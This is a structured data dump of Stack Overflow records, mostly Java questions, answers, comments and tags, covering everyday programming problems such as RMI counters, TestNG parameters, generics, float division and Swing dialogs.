has body: So I have this code: public class RemoteImpl extends UnicastRemoteObject implements TestRemote { private static final long serialVersionUID = 1L; private static int counter = 0; private int localizedCounter = 0; protected RemoteImpl() throws RemoteException { super(); } @Override public int getMeGlobalCounter() throws RemoteException { counter++; return counter; } @Override public int getMeLocalizedCounter() throws RemoteException { localizedCounter++; return localizedCounter; } } And with my Client I am trying: public class TestClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost", Constant.RMI_PORT); TestRemote remote = (TestRemote) registry.lookup(Constant.RMI_ID); System.out.println("Global counter:" + remote.getMeGlobalCounter()); System.out.println("Localized counter:" + remote.getMeLocalizedCounter()); } } After running this code for the 2 times I am expecting to see: Global counter:3 Localized counter:1 however I see that Localized counter:3 So why is the localized counter not reset everytime I invoke this method? Am I not getting a new object everytime?
type: Question
type: AnsweredQuestion
tagged with: rmi
accepted answer: http://stackoverflow.com/a/22312154

http://stackoverflow.com/q/22229073
upvote count: 5
downvote count: 0
has answer: http://stackoverflow.com/a/22304811
tagged with: nullpointerexception
answer count: 1
has title: Parameters is passing default value in TestNG
has comment: http://stackoverflow.com/comment/33803019
favorite count: 0
tagged with: testng
has body: I'm facing the strange problem. Before writing here, I have done some research on this, but unable to solve the issue. I'm passing parameters but it is taking the default value for the parameter i.e. "no-Value". Here is my code package rough; import org.testng.annotations.AfterMethod; import org.testng.annotations.Optional; import org.testng.annotations.Parameters; import org.testng.annotations.Test; import org.testng.annotations.BeforeMethod; import org.testng.Assert; import java.util.regex.Pattern; import java.util.concurrent.TimeUnit; import org.junit.*; import static org.hamcrest.CoreMatchers.*; import org.openqa.selenium.*; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.firefox.FirefoxDriver; import org.openqa.selenium.ie.InternetExplorerDriver; import org.openqa.selenium.support.ui.Select; public class Browsers { private WebDriver driver; private String baseUrl; private boolean acceptNextAlert = true; private StringBuffer verificationErrors = new StringBuffer(); @BeforeMethod public void tearDown1() throws Exception { System.out.println("Hello starting"); } @Test @Parameters({ "BROWSER" }) public void setUp(@Optional String BROWSER) throws Exception { if(BROWSER.equalsIgnoreCase("FF")) { driver = new FirefoxDriver(); } else if(BROWSER.equalsIgnoreCase("IE")) { System.setProperty("webdriver.ie.driver", "g:/Selenium Jar Files/IEDriverServer.exe"); driver = new InternetExplorerDriver(); } baseUrl = "http://book.theautomatedtester.co.uk/"; driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); System.out.println("Hello starting1111"); driver.get(baseUrl+"/chapter1"); driver.findElement(By.id("radiobutton")).click(); Select(driver.findElement(By.id("selecttype"))).selectByVisibleText("Selenium RC"); } @AfterMethod public void tearDown() throws Exception { String verificationErrorString = verificationErrors.toString(); if (!"".equals(verificationErrorString)) { Assert.fail(verificationErrorString); } } private boolean isElementP…
has comment: http://stackoverflow.com/comment/55884143
type: UnansweredQuestion
score: 5
tagged with: java
type: Question

http://stackoverflow.com/comment/33735434
type: Comment
comment on: http://stackoverflow.com/q/22218970
type: QuestionComment
has text: I don't understand what you're asking. Could you post your code snippet, and what you tried so far?
score: 0

browser
tags question: http://stackoverflow.com/q/22298575
tags question: http://stackoverflow.com/q/22181008
tags question: http://stackoverflow.com/q/22304784
tags question: http://stackoverflow.com/q/22258731
tags question: http://stackoverflow.com/q/22220503
tags question: http://stackoverflow.com/q/22292124
tag name: browser
type: Tag

event-handling
tag name: event-handling
tags question: http://stackoverflow.com/q/22234752
tags question: http://stackoverflow.com/q/22292706
tags question: http://stackoverflow.com/q/22193920
type: Tag
tags question: http://stackoverflow.com/q/22265434
tags question: http://stackoverflow.com/q/22313414

http://stackoverflow.com/q/22230487
accepted answer: http://stackoverflow.com/a/22230615
upvote count: 3
tagged with: java
has answer: http://stackoverflow.com/a/22233758
type: Question
tagged with: jodatime
has body: I'm working on a report that calculates a sum of the data in it and some of the data are timestamps, for example: ---------------------- | Activity | Time | ---------------------- | 1 | 11:00:00 | ----------------------- | 2 | 12:00:00 | ----------------------- | 3 | 13:00:00 | ----------------------- | Total | 36:00:00 | ---------------------- I'm trying to sum timestamps as below: final DateFormat dt = new SimpleDateFormat("HH:mm:ss"); final Calendar c = Calendar.getInstance(TimeZone.getDefault(), Locale.getDefault()); c.setTimeInMillis(0); for (final String t : timestampsList) { c.add(Calendar.MILLISECOND, (int) dt.parse(t).getTime()); } The variable timestampsList is an ArrayList of String's, all respecting the pattern used by the SimpleDateFormat object. The problem with the given code is that I can't generate the value of the sum of the timestamps, by using the same SimpleDateFormat what I get is an hour in the pattern informed in a future date. I also have seen Joda Time Duration class but I'm not familiar with this lib and I 'don't know if I'm in a correct path that will lead me to the right answer. Does anyone know how to handle it by using J2SE or Joda Time?
has comment: http://stackoverflow.com/comment/33756625
has answer: http://stackoverflow.com/a/22231114
score: 3
has answer: http://stackoverflow.com/a/22230615
downvote count: 0
has title: How to sum times in Java?
possible better answer: http://stackoverflow.com/a/22231114
has comment: http://stackoverflow.com/comment/33756412
has comment: http://stackoverflow.com/comment/37644811
has comment: http://stackoverflow.com/comment/33756876
favorite count: 0
has comment: http://stackoverflow.com/comment/33757677
has comment: http://stackoverflow.com/comment/33756977
has comment: http://stackoverflow.com/comment/33757164
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/24348760

http://stackoverflow.com/a/22251033
accepted answer of: http://stackoverflow.com/q/22250843
has body: You can use the terminal hooks, like See this answers about the bashrc. When you make a login or open a new terminal on your server, the script will run and execute your script.
answers question: http://stackoverflow.com/q/22250843
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/comment/33904574
score: 0
type: Comment
type: QuestionComment
has text: Have you tried: https://community.jboss.org/thread/202446
comment on: http://stackoverflow.com/q/22311464

http://stackoverflow.com/comment/33756095
type: Comment
comment on: http://stackoverflow.com/a/22206776
has text: I tried this code, but if I give the following code, it told me wrong: public int compare(T[] a, T[] b){ if( a[1] > b[1]) {return -1;} } The error is：The operator > is undefined for the argument type(s), do you know what's wrong with it?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33722068
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22211277
has text: @SotiriosDelimanolis: that should be an answer.
type: QuestionComment

http://stackoverflow.com/comment/33925345
has text: You are right. The error message of UVA is really not informative. Sorry for that. I could only guess that your input is not properly formatted.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22322233
score: 0

http://stackoverflow.com/comment/33775231
type: QuestionComment
score: 1
has text: Here's my take on your program...You call isTraversable with the startPoint as the parameter. Great. You examine a series of if statements...you push a new point on the stack then re-call isTraversable() and pop one off the stack. Each if statement pushes one point on and pops one point off. How will the stack ever be empty this way?
comment on: http://stackoverflow.com/q/22240545
type: Comment

http://stackoverflow.com/q/22244398
has answer: http://stackoverflow.com/a/22244637
type: UnansweredQuestion
answer count: 4
has body: Why go method gives me a compile time exception even if Animal is parent class of Dog ? class Animal{} class Dog extends Animal{} class Sample { void go(ArrayList&lt;Animal&gt; list){} public static void main(String...args) { ArrayList&lt;Dog&gt; list=new ArrayList&lt;Dog&gt;(); new Sample().go(list); } } This gives me a compile time error why?
downvote count: 0
score: 1
tagged with: generics
has comment: http://stackoverflow.com/comment/33781870
favorite count: 0
has comment: http://stackoverflow.com/comment/33783301
linked to: http://stackoverflow.com/q/2745265
type: Question
has answer: http://stackoverflow.com/a/22244703
has answer: http://stackoverflow.com/a/22245198
has title: Generics as a parameter
tagged with: java
has answer: http://stackoverflow.com/a/22244734
upvote count: 1
tagged with: collections
has comment: http://stackoverflow.com/comment/33781672

http://stackoverflow.com/comment/33684044
type: Comment
comment on: http://stackoverflow.com/q/22189458
has text: @user2310289 logCat Show 03-05 01:26:42.979: E/AndroidRuntime(1862): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.travelapp/com.example.travelapp.Details}: java.lang.IllegalArgumentException: Illegal character in query at index 77: http://flightxml.flightaware.com/json/FlightXML2/AirportInfo?airportCode=RJAA
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33776850
comment on: http://stackoverflow.com/q/22241502
type: Comment
type: QuestionComment
has text: They are wanting us to understand the fundamentals of using the sorting algorithms. I agree though.. Why does this always happen to me.. please remove the duplicate mark so that people actually view my question. Please.
score: 0

http://stackoverflow.com/comment/33815962
comment on: http://stackoverflow.com/a/22262523
has text: Thanks again for the details. In my case, when I use a HashMap for a high throughput, say 50K entries per second, re-hashing is not desirable and a potential GC run due to copy over of a new Entry class with a new size is also potentially adding to the pause time of GC. So, I am trying to find a balance where I can see that my max entries are say, 200K, at any given time, then would you agree that a rehash wont happen? For treemap, isnt O(log n) generally faster than O(1)---and I know O(1) varies from scenarios to scenario.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22312464
has comment: http://stackoverflow.com/comment/33905090
answer count: 1
has comment: http://stackoverflow.com/comment/33905165
tagged with: double
has answer: http://stackoverflow.com/a/22312664
accepted answer: http://stackoverflow.com/a/22312664
tagged with: android
has comment: http://stackoverflow.com/comment/33904992
type: AnsweredQuestion
has body: I am trying to divide two integers values to get a float value.. and I always get the value 0.0.. already tried to cast the values to float and no chance anyway, here is the code: float othersFloat = (float) others; float totalPixelsFloat = (float) totalPixels; // this variables have the values: // othersFloat : 621347.0 // totalPixelsFloat : 654336.0 // then I do the divison like this: float percentage_white_on_screen = (float) othersFloat / totalPixelsFloat; //But I get the value 0.0 Can someone help me?
tagged with: zero
has comment: http://stackoverflow.com/comment/33905049
has comment: http://stackoverflow.com/comment/33905133
has title: Java Dividing Two Floats Getting 0
tagged with: division
type: Question
tagged with: java
has comment: http://stackoverflow.com/comment/33905792
has comment: http://stackoverflow.com/comment/33904952
score: 0

http://stackoverflow.com/q/22235460
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22235551
type: Question
possible better answer: http://stackoverflow.com/a/22235551
answer count: 6
has answer: http://stackoverflow.com/a/22235544
has comment: http://stackoverflow.com/comment/33765371
tagged with: java
upvote count: 1
tagged with: try-catch
has answer: http://stackoverflow.com/a/37759695
has body: I would like the program to re-do the while loop when it catches the exception - the exception being receiving a number zero. Instead it continues a while loop with the code below, I would like it to ask for the user input again until the user inputs a number that is different by zero. import java.util.InputMismatchException; import java.util.Scanner; public class whilePerjashtim { public static int division(int a, int b){ return a/b; } public static void main(String[] args) { Scanner s = new Scanner(System.in); int a, b; System.out.println("Enter a value: "); a = s.nextInt(); while(true){ try { System.out.println("Enter b value"); b = s.nextInt(); System.out.println("Sum of division is: " + division(a,b)); } catch(ArithmeticException e) { System.err.println("Don't divide by zero!!!"); } catch (java.util.InputMismatchException e) { System.err.println("Enter just a Number!!!"); } finally { System.out.println(); } } } }
has comment: http://stackoverflow.com/comment/33765677
has answer: http://stackoverflow.com/a/22235600
accepted answer: http://stackoverflow.com/a/22235544
has answer: http://stackoverflow.com/a/22235597
has comment: http://stackoverflow.com/comment/33765487
has title: try catch exception while loop
has answer: http://stackoverflow.com/a/22254424
tagged with: while-loop
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33765525

http://stackoverflow.com/a/22332655
accepted answer of: http://stackoverflow.com/q/22260528
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22260528
has body: i fixed my problem and here is the solution: UserController: @RequestMapping(value = "/user/add") public ModelAndView addUserPage() { ModelAndView mav = new ModelAndView("/admin/user/addUser"); List<Group> groups = groupService.listGroups(); mav.addObject("groups", groups); mav.addObject("user", new User()); return mav; } and my Jsp page: Groupe <form:select path="group.idGroup" items="${groups}" itemValue="idGroup" itemLabel="groupName" multiple="false" class="span12"> </form:select>
type: Answer
score: 0

http://stackoverflow.com/a/22283120
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22258645
upvote count: 2
score: 2
has body: You will get help faster on the Soot mailing list. You do not need do build the JastAdd part of Soot. It's pre-built in the directory "generated".
answers question: http://stackoverflow.com/q/22258645
has comment: http://stackoverflow.com/comment/33872625

http://stackoverflow.com/q/22250347
has comment: http://stackoverflow.com/comment/33794032
tagged with: java
has comment: http://stackoverflow.com/comment/33792626
has comment: http://stackoverflow.com/comment/33792561
has title: android - Application crashes upon modifying ArrayList<ObjectType>
has comment: http://stackoverflow.com/comment/33792578
type: Question
tagged with: arraylist
score: 0
tagged with: android-listview
tagged with: android
answer count: 1
has comment: http://stackoverflow.com/comment/33792254
has answer: http://stackoverflow.com/a/22253052
has comment: http://stackoverflow.com/comment/33792483
has comment: http://stackoverflow.com/comment/33791945
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33792325
tagged with: android-alertdialog
has body: I'm working on an application which will have a ListView alongwith a Button to add items to the ListView dynamically. I've made a custom adapter for the ListView. My idea is when the user will tap the Button it'll show an AlertDialog with a TextView and two buttons, "OK" and "Cancel". This my activity where the ListView will be shown - import java.util.ArrayList; import android.os.Bundle; import android.app.Activity; import android.app.AlertDialog; import android.app.AlertDialog.Builder; import android.app.Dialog; import android.content.DialogInterface; import android.graphics.Typeface; import android.view.LayoutInflater; import android.view.Menu; import android.view.View; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.Button; import android.widget.EditText; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; public class Add_Topics extends Activity { AddTopics_MenuAdapter adapter; ListView topics_list; public ArrayList&lt;topic&gt; the_subjects; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_add__topics); the_subjects = Model.loadTopics(); topics_list = (ListView) findViewById(R.id.topics_list); overridePendingTransition(R.anim.reverse_in_left, R.anim.reverse_out_left); Animation enter = AnimationUtils.loadAnimation(getBaseContext(), R.anim.upcoming_menu); Animation enter_slow = AnimationUtils.loadAnimation(getBaseContext(), R.anim.enter_l2r_slide); TextView des = (TextView)findViewById(R.id.des_at); TextView title = (TextView)findViewById(R.id.title_at); Button add_topic = (Button)findViewById(R.id.add_topic_button); Typeface roboto_lt = Typeface.createFromAsset(getAssets(), "Roboto-Light.ttf"); des.setTypeface(roboto_lt); title.setTypeface(roboto_lt); add_topic.setTypeface(roboto_lt); title.startAnimation(enter); des.startAnimation(enter_slow); adapter = new AddTopics_MenuAdapter(t…

http://stackoverflow.com/comment/34026004
comment on: http://stackoverflow.com/a/22367089
score: 0
type: AnswerComment
type: Comment
has text: I've just tested this settings with Eclipse Kepler (Custom maven `Debug Configuration` with `exec:exec`) and Netbeans 7.4 (Custom Maven action with `exec:exec`, with or without `jpda.listen=maven`). Both skipped the breakpoints when running directly. Netbeans required me to use `Attach Debugger...` and Eclipse required me to launch a separate `Remote Java Application` debug configuration.

twilio
tag name: twilio
tags question: http://stackoverflow.com/q/22230722
type: Tag

http://stackoverflow.com/comment/33884457
score: 0
has text: @Ryven, yes, but the numbers should be "dynamic". I can have things like [A#656464566|874834637647], numbers can vary.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22301286

http://stackoverflow.com/comment/33893937
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22306192
has text: _for example when you want a component to have only a certain size and let another component always take the rest_ that's the exact task of the LayoutManager, not of the component (the latter can't know its surroundings). All a component itself can know are its own requirements. The other way round, the component itself is the _only_ one which has enough knowledge to advertise/calculate its own size requirements, there's nothing that client code can do to infere those requirements.

http://stackoverflow.com/comment/35046835
type: Comment
has text: use "1e39f369e90db33aa73b442bbbb6b0b9" instead of "346a23652a46392b4d73257c67317e352e3372482177652c"
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22314417

http://stackoverflow.com/comment/33724042
has text: You'll still have an issue with labels need to be told that they should change their values...which is the core of your problem
score: 0
comment on: http://stackoverflow.com/q/22212215
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33849404
score: 0
comment on: http://stackoverflow.com/q/22281825
has text: Where you put your "overridden" `actionPerformed` method. Learn about interfaces.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33731717
score: 0
type: Comment
has text: @Neelutpol check out the code in the answer above..You need to check if it startswith srcport
comment on: http://stackoverflow.com/a/22216742
type: AnswerComment

http://stackoverflow.com/q/22255734
tagged with: eclipse-emf
type: Question
answer count: 2
downvote count: 0
has body: This is really getting into my nerve... I already have all the ecore models up and running but I've been unable to load an XML file into those models.This is the code I'm using to do so: ResultType res = ScheduleTableFactory.eINSTANCE.createResultType(); ByteArrayInputStream is; try { /* Read XML file to a string and send it to a buffer */ is = new ByteArrayInputStream((this.xml2String(fileName)).getBytes("UTF-8")); ResourceSet rs = new ResourceSetImpl(); rs.getResourceFactoryRegistry().getExtensionToFactoryMap().put("xml", new ScheduleTableResourceFactoryImpl()); Map options = new Properties(); // Just a dummy url to specify the type of the document URI uri = URI.createURI("http://www.baderous.de/doomz/trankz.xml"); ScheduleTableResourceImpl resource = (ScheduleTableResourceImpl) rs.createResource(uri); ((org.eclipse.emf.ecore.resource.Resource) resource).load(is, options); } catch (IOException e) { e.printStackTrace(); System.exit(0); } After a long struggle, now it's reaching the last method inside the try block, but it's giving me this error: org.eclipse.emf.ecore.resource.Resource$IOWrappedException: Value '2013-04-23.07:55:00' is not legal. (http://www.baderous.de/doomz/trankz.xml, 4, 56) I wanted to be more precise in this description, but I'm quite new with EMF, so I will just stick to the basics. I would be really grateful if you can help me on this issue. Thanks in advance!
has title: Loading XML file into ecore model (Deserialisation)
has answer: http://stackoverflow.com/a/22351304
has answer: http://stackoverflow.com/a/22258844
tagged with: xml-deserialization
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
possible better answer: http://stackoverflow.com/a/22258844
upvote count: 1
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/22351304
tagged with: java
tagged with: eclipse

http://stackoverflow.com/q/22312312
type: Question
answer count: 1
downvote count: 0
tagged with: hibernate-validator
has answer: http://stackoverflow.com/a/22350063
favorite count: 0
type: UnansweredQuestion
has title: Hibernate's validateValue() throws illegal argument exception if a property has no rules?
upvote count: 1
has body: I have the following class: class Foo { @NotEmpty private String member1; @NotEmpty private String member2; private String member3; //this one is optional, so has no rules } I have a library to which I add all the property names and corresponding UI fields, each time the UI's onChange event occurs, I call validateValue() on the given field name for that field, to validate it and show error/success message. The problem is, in this case where I have no rules for member3, if I try to validate it by doing this: String value = event.getValue(); //whatever the new value is now validator.validateValue(Foo.class, "member3", value); On the 2nd line, I get the following exception: Caused by: java.lang.IllegalArgumentException: member3 is not a valid property of com.xxx.Foo Both member1 and member2 within the same class, are validated correctly. Is there anything I can do to avoid getting this exception on the fields that don't have any rules set on them? If not, is there a way (without reflection or specifying it manually for each field) to check if a rule has no rules set on it, so i can avoid calling validateValue on it?
score: 1
tagged with: java
tagged with: hibernate

http://stackoverflow.com/q/22245460
tagged with: modulo
upvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33783724
has body: Below are two expressions to find modulo(n,d) in java, using euclidean division (d + (n % d)) if (n &lt; 0) (n%d) if n &gt; 0 My question is, Am not clear, How to think mathematically before writing above expression, if n&lt;0? Please help me with mathematical approach, Because i do not want to remember logic!!!
has title: Mathematical approach to derive Modulo expression
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22245716
downvote count: 1
tagged with: java
score: -1
type: Question

http://stackoverflow.com/comment/33737572
type: QuestionComment
has text: @MadProgrammer Yes!!! That is absolutely what im looking for...
score: 0
comment on: http://stackoverflow.com/q/22216116
type: Comment

http://stackoverflow.com/a/22261101
answers question: http://stackoverflow.com/q/22261006
type: Answer
has body: Whenever you override paintComponent(), you need to call super.paintComponent(). You are also calling repaint() from repaint(). You need to decide on some action that will cause it to repaint.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33823671
upvote count: 1

http://stackoverflow.com/comment/33667799
score: 0
has text: Cool. I went ahead and switched them, but the program still reads everything as a zero value when the list is created: for (int i = 0; i < employee.length; i++) { System.out.println("Employee #" + employee[i].getEmployeeID(i) + " Wages: " + employee[i].getWage(i)); }
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22180994

http://stackoverflow.com/q/22230433
has answer: http://stackoverflow.com/a/22342201
favorite count: 0
accepted answer: http://stackoverflow.com/a/22300733
has answer: http://stackoverflow.com/a/22243789
type: Question
tagged with: tibco
answer count: 3
has title: Listing all JMS queues in Tibco EMS
upvote count: 1
has body: I am writing a Java class to browse a Tibco EMS JMS server and show all queues. I'm able to connect without issues and browse specific queues but I am looking for a way to return a list of all queues (with queue depth if possible). I'm not if there is a specific EMS API to use so I am using standard JMS. I've tried the following code to do a reverse JNDI lookup but it is failing. NamingEnumeration&lt;?&gt; queues = context.list(""); List&lt;String&gt; availableQueuesNames = new ArrayList&lt;String&gt;(); while (queues.hasMoreElements()) { NameClassPair element = (NameClassPair) queues.nextElement(); availableQueuesNames.add(element.getName()); } Which throws this error: javax.naming.OperationNotSupportedException: Not supported at com.tibco.tibjms.naming.TibjmsContext.list(TibjmsContext.java:1018) at com.tibco.tibjms.naming.TibjmsContext.list(TibjmsContext.java:484) at javax.naming.InitialContext.list(Unknown Source) I did some digging and it seems Tibco EMS does not support looking into the JNDI like this. Is there another way to accomplish this?
has answer: http://stackoverflow.com/a/22300733
tagged with: java
tagged with: ems
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: jms
possible better answer: http://stackoverflow.com/a/22243789

http://stackoverflow.com/a/22300499
upvote count: 3
type: Answer
downvote count: 0
has body: I have added checkboxes inside combo box in Java. But when I open drop down menu and check one check box, the drop down menu closes. So to select each check box I have to open it every time. Is there any way so that I can keep the drop down list opened till the time I dont click outside so that I can select any number of check boxes at one time only. no there isn't, this is default property of (BasicXxx)Popup implemented in Swing API, workaround for series of Bugs in Java1.4_xxx no_way, only by using dirty hacks, usage of can be Java Version sensitive, or required left mouse button as accelerator don't do that, another way (and proper of possible ways) is usage of JWindow/undecorated JDialog but required to override ESC Key and Focus lost in Windows three (as you can see in good Java JCalandars/JDatePickers),
answers question: http://stackoverflow.com/q/22300323
score: 3

http://stackoverflow.com/comment/33823927
has text: after mario shoukd draw a line then after luigi should draw a line .... like this i want
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22266965

http://stackoverflow.com/q/22291521
has title: Why can't I use .pollFirst() method for a Set that was initialized as a TreeSet?
score: 0
accepted answer: http://stackoverflow.com/a/22291787
has body: Say I've intialized a Set as a new TreeSet: Set&lt;Integer&gt; foo = new TreeSet&lt;Integer&gt;(); And I want to use the .pollFirst() method, because I'm lazy and I don't want to have to use a temp variable because I have this handy method that would reduce what would otherwise be 3-4 lines of code to 1 line. However, with the following code, the only way to compile my code would be to specifically call foo a TreeSet. while (foo.size() &gt; 1) { int lower = foo.pollFirst(); int higher = foo.pollFirst(); foo.add(higher - lower); } So why java doesn't realize that foo is actually a TreeSet? Should I just cast it as TreeSet if I didn't want to intialize foo as a TreeSet? Or would it be better to just intialize it that way? Further Testing with Casting: while (foo.size() &gt; 1) { int lower = (int) ((TreeSet) foo).pollFirst(); int higher = (int) ((TreeSet) foo).pollFirst(); foo.add(higher - lower); } This makes it compile without explicitly calling it a TreeSet upon intialization.
possible better answer: http://stackoverflow.com/a/69140601
has answer: http://stackoverflow.com/a/22291787
type: AnsweredQuestion
tagged with: treeset
has comment: http://stackoverflow.com/comment/33867586
tagged with: java
tagged with: set
type: Question
has answer: http://stackoverflow.com/a/69140601
answer count: 2
tagged with: casting

http://stackoverflow.com/comment/65264348
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22279077
has text: i have made a splash using this approch https://github.com/meetmehdi/GoodSplash

http://stackoverflow.com/comment/33670642
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22180413
has text: so extract the problematic part of your code and post it as a new question - once you raise a 'real' issue, the community is more likely to respond.

http://stackoverflow.com/a/22275028
has comment: http://stackoverflow.com/comment/33837630
type: Answer
score: 2
downvote count: 0
has body: There are a number of issues. First, Class#newInstance() expects the corresponding class to have a public constructor with an empty parameter list. You therefore have to make sure all the classes you want to work with have that. Otherwise, you'll need to get an appropriate Constructor, make it accessible, and provide the appropriate arguments. Second, do you know the interface that all classes share at run time? If you do, you can cast all the instances to that interface type InterfaceType interfaceInstance = (InterfaceType) clazz.newInstance(); interfaceInstance.interfaceMethod(/* arguments */); If you don't, you'll have to again rely on reflection. You'll need to retrieve the Method for the corresponding method, providing the types of each parameter in the method's parameter list. Method method = clazz.getDeclaredMethod("methodName" /*, possible parameter list types */); You can then invoke that method on your class' instance, again providing the appropriate arguments. method.invoke(interfaceInstance /*, possible arguments */);
answers question: http://stackoverflow.com/q/22274860
accepted answer of: http://stackoverflow.com/q/22274860
has comment: http://stackoverflow.com/comment/33837657
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/22293992
answer count: 2
downvote count: 0
has body: I want to fetch data from two different entites in JPA. I am using Google DataStore with App Engine to store my data on cloud storage. Now what i want is to fetch data from two different entites by making use of Join query.As i am new to app engine and datastore, i don't know how to do that. I referred this link and it says that DataStore doesn't support joins properly. Is that true? Pleas eguide me to solve this problem. Thank you.
favorite count: 0
upvote count: 2
has title: Join query in DataStore JPA java- App engine
type: UnansweredQuestion
tagged with: google-app-engine
tagged with: android
score: 2
linked to: http://stackoverflow.com/q/15029539
tagged with: java
has answer: http://stackoverflow.com/a/22304007
type: Question
has answer: http://stackoverflow.com/a/22294155
tagged with: jpa

http://stackoverflow.com/q/22325640
tagged with: swing
has title: Closing a JDialog by hitting the "enter" on keyboard
type: AnsweredQuestion
tagged with: java
possible better answer: http://stackoverflow.com/a/22325939
has answer: http://stackoverflow.com/a/22325939
accepted answer: http://stackoverflow.com/a/22325697
type: Question
has answer: http://stackoverflow.com/a/22325697
tagged with: jdialog
score: 0
answer count: 2
upvote count: 1
downvote count: 1
favorite count: 0
has body: I want to close my JDialog by hitting the "enter" key on my keyboard. how can I do that? thank you! NOTE: I want to do this, without any button involved. THank you!

http://stackoverflow.com/q/22308477
has answer: http://stackoverflow.com/a/22308507
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33899461
accepted answer: http://stackoverflow.com/a/22308507
possible better answer: http://stackoverflow.com/a/22308693
favorite count: 0
has answer: http://stackoverflow.com/a/22308693
type: Question
linked to: http://stackoverflow.com/q/5316131
answer count: 2
tagged with: interface
has title: How to change the language of a java app using interfaces?
has comment: http://stackoverflow.com/comment/33898341
has body: Currently I'm using an interface for all the needed Strings in my application. I access the interface (called StringConstants) from anywhere in my application. The interface sets all the Strings in Dutch, but know I also want to add a language switching option (to English). What's the trick to change the interface I'm using, or should I just make an interface for each language I'd like to use? Here's the interface code I currently use: package constants; public interface StringConstants { //LabyrintUI// public String APP_TITLE = "Labyrint"; public String APP_VERSION = "Versie 1.0"; public String MENU_TITLE = "Labyrint - Menu"; public String MOEILIJKHEID1 = "Gemakkelijk"; public String MOEILIJKHEID2 = "Normaal"; public String MOEILIJKHEID3 = "Moeilijk"; public String BTN_SPEEL_TITLE = "Speel"; public String BTN_OPTIES_TITLE = "Opties"; public String BTN_STOP_TITLE = "Stop"; public String BTN_RESET_SCORES_TITLE = "Verwijder de highscores"; public String BTN_SPELREGELS_TITLE = "Spelregels"; public String BTN_OVER_TITLE = "Over"; public String BTN_DEFAULT_SETTINGS_TERUG_ZETTEN_TITLE = "Standaardinstellingen terugzetten"; public String BTN_OPSLAAN_TITLE = "Opslaan"; public String LBL_MOEILIJKHEIDSGRAAD_TITLE = "Moeilijkheidsgraad"; public String LBL_GELUID_TITLE = "Geluid"; public String LBL_SCORES_TITLE = "Highscores"; public String LBL_LAST_SCORE_TITLE = "Laatste score"; public String MI_NIEUWSPEL_TITLE = "Nieuw spel"; public String MI_NIEUWSPEL_TOOLTIP_TEXT = "Nieuw spel starten"; public String MI_SPEEL_OF_PAUZE_TITLE_PAUSE = "Pauzeer"; public String MI_SPEEL_OF_PAUZE_TOOLTIP_TEXT_PAUSE = "Pauzeer het huidig spel"; public String MI_SPEEL_OF_PAUZE_TITLE_PLAY = "Speel"; public String MI_SPEEL_OF_PAUZE_TOOLTIP_TEXT_PLAY = "Hervat het huidig spel"; public String MI_STOPSPEL_TITLE = "Stop"; public String MI_STOPSPEL_TOOLTIP_TEXT = "Stop het huidig spel"; public String MI_GELUID_TITLE_OFF = "Geluid uit"; public String MI_GELUID_TOOLTIP_TEXT_OFF = "Zet geluid uit"; public St…
tagged with: java
tagged with: localization
upvote count: 1
has comment: http://stackoverflow.com/comment/33897598

http://stackoverflow.com/comment/33674938
score: 1
type: Comment
has text: Please post compilable code. see this [link](http://stackoverflow.com/help/mcve)
comment on: http://stackoverflow.com/q/22184864
type: QuestionComment

http://stackoverflow.com/comment/33853535
comment on: http://stackoverflow.com/a/22280659
has text: That would explain when I "encrypted" the signature with the public key, I discovered the hash value at index 16 in the result. That's consistent with the doc you linked to. Thanks.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33925473
type: Comment
has text: Interesting point. However array being a primitive type... seems quite common in the code base I'm working with.
comment on: http://stackoverflow.com/q/22324458
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33929075
score: 0
comment on: http://stackoverflow.com/a/22325448
has text: No this is Eclipse plugin only.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33874740
type: AnswerComment
comment on: http://stackoverflow.com/a/22295494
score: 0
type: Comment
has text: @kamituel if the JSON is invalid, the effort of handling it would be quite similar i think, irrespective of the method :) . i'd think it is not a "parser"'s responsibility to validate the JSON though does Jackson or any other library provide invalid json handling?

http://stackoverflow.com/q/22295135
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22295346
tagged with: java
